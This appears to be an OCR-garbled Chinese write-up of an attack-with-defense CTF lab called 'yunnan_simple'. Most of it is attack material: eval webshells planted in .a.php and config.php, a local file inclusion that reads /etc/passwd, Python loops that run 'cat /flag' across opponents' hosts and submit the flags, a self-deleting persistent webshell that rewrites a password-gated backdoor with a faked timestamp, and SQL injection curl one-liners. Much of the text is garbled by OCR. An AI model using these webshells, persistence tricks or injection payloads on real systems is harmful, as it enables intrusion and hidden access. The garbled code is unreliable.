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yunnan_simple > awd_yunnan_simple > app > .a.php
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listH3%: 192.168.2.146:8801/.a.php?c=system(ls);

catflag: 192.168.2.146:8801/.a.php?c=system(“cat /flag”);
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it 2K flag + $E3cflag A

payload {
url urll (8800 i) url2
try:
res requests.get(url, params payload)
except:
continue
else:

print(res.text)

flag _payload { : : res.text}
submit_flag requests.get( , params flag _payload)




awd_yunnan_simple_leak1
D:\Software_installation\anaconda3\envs\Python_project\python.exe D:/Software_data/Python_project/AWD_yunnan_simple/awd_yunnan_simple_leakl.py
f24cc?c7c4a7f0329a7725577F4563¢c2
3268174e4b0dedaalffeé5e122fa7fe5
€c3323c23322d9214bc1d5dbel2346a12
83268671de73c97581bbc4cb8bc1fbBa
08337cd857de68h9ad8f04ad2d4alfld
e4db92c3f7078cbacB4a35b501db897¢c
a3b848f503ce44b56295154061951cf2
a441300827dcf1bdc83aB87b84bab8el
c23bf45bc8ab0el66b3b702absa7édee
572eccc48d32ddOcf793cb64743F46045

Process finished with exit code ©
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¥ i 2—a.php
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<?php @eval($_REQUEST[ D;

var_dump ($_SERVER) ;
?>

F: > /¥ > Learning_Route > 39. [AWD] yunnan_simple > awd_yunnan_simple > app > a.php
@eval($ REQUEST['c']);
var_dump($ SERVER);
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ME—ANEAZL, HEEE—A .a.php 27T var_dump() , FEMTERFGaghim %, FTEMEMITE (0] UBRFRFH==.




192.168.2.146:
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8887d21fd5944c9d1ffa8cd72c8d11af

array (siza=5i)

THITP_HOST' => string '192. 168. 2. 146:8801° (Tength=if)

*HITP_CONMECTION' => string  keep-alive' (Famgth=19)

HITP_UPGRADE_INSECURE_REQUESTS' => string "1 (Jength=i)

HITP_USER_AGENT’ => string "Wozilla/B. 0 (Windows NT 10.0: Wind, z64) AppleWebKit/537.36 (KHINL, 1like Geckn) Chrome/91.0.4472. 101 Safari/B27. 36 Edz/01.0. 864 48" (Tangth=151)
PHTTP_ACCEPT’ = string *text/html, application/shtml+xnl, application/xml; q=0. 9, image/webp, image/apng, #/%, ¢=0. 8, application/signed-exchange; v=h3;4=0.9" (Jangth=i7%)
*HITP_ACCEPT _BNCODING' = string ' gzip, deflate’ (femgeh=13)

PHTTP_ACCEPT_LANGUAGE' = string ' =zh-CN, zh;q=0. 9, en; 9=0. 8, en-GB; 4=0. 7, en-US; =0. 8, ja;q=0.5 (famgth=56/
"HITP_COOKIE' =» string ' PHPSESSID=eihhvdas05h7Zuefiglrihoab?’ (Femgth=56)

PPATH =» string ~ fusr/local/shin:/fusr/local/bin:fusr/sbin: fusr/bin:/sbin:/bin’ (Tangth=60)

' SERVER_SIGNATURE' =" string ' <address>ipache/Z. 4.7 (Ubuntu) Server at 192, 168, 2. 146 Port 3801</address>
(Tength=75)

' SERVER_SOFTWARE' = string ' Apache/Z. 4.7 (Ubuntu)’ (Femgth=£7)

’ SERVER_NAME' => string ~192. 188.2. 148’ (Tength=15)

' SERVER_ADDR' => string ' 172.17.0.2" (Fangth=14)

' BERVER_PORT’ => string 8801 (Temgth=¢)

'RENMOTE_ADDR' => string ' 192. 168. 2. 1" (Tangth=11)

PDOCUMENT_ROOT’ = string /var/www/html’ (Yamgeh=13)

'REQUEST_SCHEME' =» string 'http' (Jength=4)

CONTEXT_PREFIX = string '~ (Jength=0)

" CONTEXT_DOCUMENT_ROOT’ => string ' fvarfwww/html’ (Tength=13)

' SERVER_ADNIN' => string  webmaster@localhost’ (Tength=ig)

" SCRIPT_FILENANE' => string ' /var/www/html/a.php’ (Tength=I1%)

*REMOTE_PORT’ => string '52685° (Jamgth=5)

#E IR flag I 32 3T M4 -

import requests

i in (1, 11):
payload = {
url urll (8800 i) url2
try:
res requests.get(url, params payload)
except:
continue
else:
flag res.text[0:32]
print(flag)
flag payload {
submit_flag requests , params=flag payload)

¥ 3—about.php
RV

<?php
$file=$ GET[

include $file;

?>




Learning e . yunnan_simpl yunnan_simp

$file=$% GET[ 'file
inclt $file;
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192.168.2.146
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root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/shin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/shin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Ip:x:7:7:1p:fvar/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/shin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbhin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/shin/nologin
libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:106:MySQL Server,,;/nonexistent:/bin/false
memcache:x:103:107:Memcached,,,;/nonexistent:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin ctf:x:1000:1000::/home/ctf:

192.168.2.146
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AT :

import requests

payload { :
url urll (8800 i) url2
try:

1
J

res requests.get(url, params payload)
except:

continue
else:

flag res.text[0:32]

print(flag)

flag_payload = {

submit_flag requests.get( , params=flag payload)




¥ 4———config.php

F: > W2 > Learning_Route > 39. [AWD] yunnan_simple > awd_yunnan_simple > app > config.php

$host = 'localhost’;

fusername = 'root’;

$password = ‘root’;

$database = "test’;

$dbc = mysqli connect($host, %$username, $password, $database);
if (l¢dbc)

{

die('Could not connect: ' . mysql error());

session start();

$basedir = '";

@eval ($ REQUEST['c']);
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import requests

payload {
url urll (8800 i) url2
try:
res requests.get(url, params payload)
except:
continue
else:
flag res.text[0:32]
print(flag)
flag_payload {
submit_flag requests.get( , params=flag payload)
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<?php ignore user_abort(true); set time 1limit(®); unlink(_FILE_ ); $file = '2.php'; $code = '<?php

if(md5($_GET["pass"])=="1ac3544114c9c5e2853a183138093e5e"){@eval($_POST[coin]);} ?>';
while (1){

file_put_contents(file,code);

system( ‘touch -m -d “2018-12-01 09:10:12” .2.php’);

usleep(5000);

}

?>

fEhackbar® FAERIEY (REHEN c A—HiEKDHE
Hrh stripslashes() AR L E

c=file put_contents( ,stripslashes(

D)
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file put_contents(\"bsm.php\",stripslashes(\"<?php ignore_user_abort(true);set time limit(®);unlink(__FILE_
);\\$file = \\\'2.php\\\';\\$code = \\\'<?php if(md5(\\$_GET[\\\"pass\\\"])==\\\"1ac3544114c9c5e2853a1831380
93e5e\\\"){@eval(\\$_POST[\\\"coin\\\"]1);} ?>\\\';while (1){ file_put_contents(\\$file,\\$code); system(\\\'
touch -m -d \\\"2018-12-01 ©9:10:12\\\" .2.php\\\'); usleep(5000);} ?*>\"));

B4 pythonfii4

import time
import requests

url urll
hack

}
try:
upload_res requests.post(url , data=data)

except:
continue
else:
print( (8800 i)
requests_url urll (8800 i)
try:
requests_res requests.get(requests_url , timeout 5)
except:
time.sleep(6)
print(
get_flag url urll (8800+1)
get flag data {

}
get_flag res requests.post(get_flag url , data=get_flag data)

print( (8800+1) get flag res.text[0:32])

flag payload = { : : get_flag res.text[0:32]}

submit_flag requests.get( , params=flag payload)
print(
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about.php: curl "127.0.0.1/about.php?file=/etc/passwd"

ERSFIEER:

contact.php: curl "127.0.0.1/contact.php?path=/etc/passwd"

sqliEA:

login.php: curl "127.0.0.1/login.php" --data "username=aa&password=a'| |'1'="1"

search.php: curl "127.0.0.1/search.php?id=10 union select 1,2,user_pass from admin"
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